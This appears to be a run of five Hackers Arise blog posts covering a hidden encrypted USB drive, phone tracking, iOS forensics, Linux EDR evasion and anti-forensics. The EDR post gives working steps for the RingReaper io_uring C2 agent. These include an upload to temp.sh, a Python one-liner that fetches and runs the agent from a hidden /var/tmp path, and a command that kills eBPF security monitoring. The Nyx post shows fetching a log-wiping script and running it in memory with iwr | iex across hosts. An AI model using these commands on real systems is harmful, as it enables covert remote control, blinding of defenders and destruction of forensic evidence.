Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back my aspiring cyberwarrior and others interested in cybersecurity!

When people find out I am a professional hacker, one of the most common questions they ask is, “Can the CIA (or other intelligence agency) track my every move?” The short answer is Yes!, they can track your every move if you have a cellphone AND the interested party (CIA or other intelligence agency) has your phone’s unique IMEI number.

Let’s look at how they do this and what you can do to make their job much harder.

IMEI

The IMEI or the International Mobile Equipment Identity number is unique to each phone and can not be altered. If the CIA or other intelligence agency knows this number of your phone, they can track your movements by tracking your phone. This number is available to them by subpoena, search warrant or US Patriot Act provisions.

The IMEI is stamped on your phone and when you open the phone you can find it like below.

In addition, you can find the IMEI under settings of your phone. It is different places in different phones, but look for something such as “About Phone” like below.

IMSI

It is also possible to track a phone and its user by its IMSI (International Mobile Subscriber Identity) number of the phone. Fortunately, this IMSI can be changed out by changing out the SIM (Subscriber Identification Module) card.

MSI numbers are broadcast by your phone when its sends a beacon to connect to the cell tower. It is possible for anyone with the right equipment to intercept and read those IMSI numbers. 

Every time a cell phone attempts to connect, it pings the cell towers in the area to determine which is closest. Every cell phone or other device connecting to the cellular network (such as iPads) does this. Every time a cellphone pings a tower, the phone’s IMSI, IMEI numbers as well as the the location of the cell tower is stored in the carrier’s database.

By triangulating (multiple towers are used to track the phone’s location by measuring the time delay that a signal takes to return back to the towers from the phone) between the pings to the towers in the area, the location of the phone can be determined within 50-500 meters, depending upon the concentration of cell towers. The closer the cell towers are together, such as in an big city, the more precise the data on the location of the phone. In urban areas, your location can be narrowed down to within 50 meters.

Stingrays

Although not a method of tracking but rather of eavesdropping, stingrays are one of the tools intelligence agencies and law enforcement use to listen to cellphones. A stingray is just a compact, mobile cell tower. Law enforcement and intelligence agencies can simply move one into your neighborhood. Your phone will then connect to the closest cell tower. The stingray looks and acts just like a cell tower so you phone connects to it without asking further questions. Once your cell phone connects to the cellular network, the owner of the stingray has access to all the calls and data leaving your phone. For more on stingrays, see my article here.

In the US and other countries (they are banned in the EU), you can buy an inexpensive, limited-feature, pre-paid phone at a local retailer without having to register your name. In this way, it is very difficult for intelligence agencies to connect the phone and its unique IMEI to your identity. To take further precautions, the phone should be purchased with cash so that no credit/debit card trail remains.

When purchasing a burner phone, make certain that you are NOT carrying your other phone with you. Your other phone is tracking all your movements. If you are carrying your that phone, you are creating a record of your visit to the “burner phone” retailer linking you to the purchase and the IMEI of the burner phone thereby frustrating your attempts to remain anonymous. 

Summary

The CIA, any intelligence agency or law enforcement can track your every move very precisely by tracking the cell towers your phone pings before it connects. All this data is stored in the phone carrier’s database and can be accessed by these agencies. The burner phone is probably the best way to frustrate this type of tracking but make certain to take the precautions described above.

The post Confessions of a Professional Hacker: Can the CIA or other Intelligence Agencies Track My Every Move? first appeared on Hackers Arise.

Welcome back, aspiring investigators!

Today we’re going to cover the basics of iOS forensics and find out what makes these devices vulnerable. We will see what a phone actually holds in different states. Modern iPhones encrypt almost everything file by file, and the keys live inside a separate chip called the Secure Enclave, not the disk itself. So the question is  which keys are unlocked right now and how long you’ve got before that changes.

What’s On the Phone

Apple does not encrypt “the disk” as one volume key. Each file is assigned a class when it is created. The class decides when that file can be decrypted.

Class A files only decrypt while the phone is unlocked and lock again fast once the screen goes dark. Mail bodies live here. 

Class B can be written while locked but only read if it was already open. 

Class C is the one you care about most. It unlocks the first time the passcode is entered after a reboot and stays unlocked even after the screen locks again. App data, chats and photo libraries sit here. 

Class D never needs a passcode at all, wrapped with a device only key.

BFU and AFU

Before First Unlock (BFU) means the phone rebooted and nobody’s entered the passcode since. The Secure Enclave hasn’t released the keys yet, Face ID and Touch ID are dead and almost nothing decrypts. What you get from a BFU phone is triage at best. Device info, iOS version, maybe a thin slice of metadata.

After First Unlock (AFU) means the passcode has been entered at least once since the last reboot. Class C data is live and stays live even after the screen locks again. This is the state you want. Analysts usually say AFU gets you around 95% of what a full dump would give you, next to almost nothing under BFU.

The 72 Hour Clock

Since iOS 18.1, a phone that sits idle too long reboots itself. No setting turns this off. The window is around 72 hours. A Faraday bag isn’t a place to park evidence for a week anymore. Labs have already had properly isolated AFU phones reboot themselves back into BFU just from sitting in storage. 

How You Actually Pull Data

The simplest is a standard logical backup through iTunes or Finder. An unencrypted backup is a partial picture at best, since Keychain and Health data only come along encrypted. One step up is advanced logic, which adds access to the camera roll, books and other shared media a plain backup skips. 

Full file system extraction is usually done through a signed agent while the phone’s still AFU. This gets you app sandboxes, full SQLite databases with their WAL and SHM files and the behavioral stores a backup never touches. Agent support for new chips lags behind hardware releases and current A19 and M5 chips with Memory Integrity Enforcement are already a wall some agent chains can’t get past.

Older phones, iPhone X and earlier, can sometimes be opened with bootrom exploits like checkm8, which run below the OS entirely and can work even in BFU. That doesn’t apply to anything shipping today.

iCloud is its own separate source. It can hold things the phone doesn’t and end-to-end encrypted categories still need real credentials or lawful process.

Pairing, USB Locks & Lockdown Mode

A pairing record gets created the moment someone taps Trust This Computer. That record lives on the host machine, and it can let a lab computer talk to a locked AFU phone without another unlock. So every computer the owner used matters just as much as the phone itself.

USB Restricted Mode is separate and much simpler, it’s just a timeout. After roughly an hour locked, the port stops carrying data even though it keeps charging. An old pairing record won’t work once that timer’s up, so every locked phone has a short window.

Lockdown Mode is a different thing entirely. It’s a user enabled hardening feature aimed at spyware, and while it’s active, wired accessories need an unlocked phone. That’s the mechanism that reportedly stopped FBI investigators from extracting a seized reporter’s iPhone in early 2026, even though the phone was powered on and charging right in front of them. Turning Lockdown Mode on or off also reboots the phone, so flipping it yourself kills AFU instantly.

Jailbroken Phones

Some devices may be jailbroken. These are softer targets, but they can’t be trustworthy. Jailbreaking modifies the filesystem and tweaks change or hook app behavior. That can overwrite artifacts, add artifacts that aren’t from normal use and give opposing counsel a way to challenge integrity.

Cellebrite

Cellebrite’s old UFED, Premium and Physical Analyzer lineup is mostly folded into one suite now called Inseyets, though Premium and PA7 are both still running too. Their own docs use AFU and BFU just like everyone else, because the same rules apply. AFU with a supported device opens up fully. BFU on current phones mostly doesn’t, no matter which Cellebrite tool you’re running. Support trails Apple by weeks or months after every iOS release, and brute force support stays limited to specific older models on specific iOS ranges, not a blanket “any locked iPhone” claim.

For old hardware, iPhone 5s through X, they lean on the same checkm8 style bootrom exploit covered earlier.

Worth remembering too, in 2021 Signal’s founder found real bugs in the tool itself

What You Actually Dig Through

Chat apps like iMessage, WhatsApp, Signal and Telegram each keep their own SQLite database, and deleted rows often still sit in the freelist or the WAL file until the database gets cleaned up. Always grab the WAL and SHM files alongside the main database, not just the .db file by itself.

The real skill jump in this field is using behavioral stores. KnowledgeC and its newer replacement, Biome, track which app was in focus, unlock events, notifications, even web activity. That’s how you reconstruct what was actually on screen at a given moment. PowerLog backs that up by confirming the phone was genuinely powered on and connected at a given time.

Photos.sqlite covers hidden and recently deleted images along with iCloud sync state. As you can see, deletion on iOS basically means the key gets destroyed and the database gets cleaned up later, there’s no recycle bin sitting in unallocated space waiting for you to carve out. If someone claims they recovered deleted iMessages from raw flash on a modern iPhone, that claim needs real scrutiny.

Summary

Keep your iPhone protected by updating the firmware and upgrading the device itself regularly. Old devices are prone to certain attacks, and as years go by more vulnerabilities get discovered. Analysts are already using these vulnerabilities to bypass protection and extract data from older iPhones. Keeping backups off iCloud adds an extra layer of protection. Don’t connect your iOS device to your computer and don’t accept anything that pops up on the screen afterward. iOS 18 adds some protection by bringing the phone from AFU back to BFU after 72 hours. These recommendations can help if your life is threatened by people who don’t respect the law. If you’re a forensic investigator, use this knowledge to bring justice to the case. Stay safe out there!

The post Digital Forensics: iOS Forensics – Basics  first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.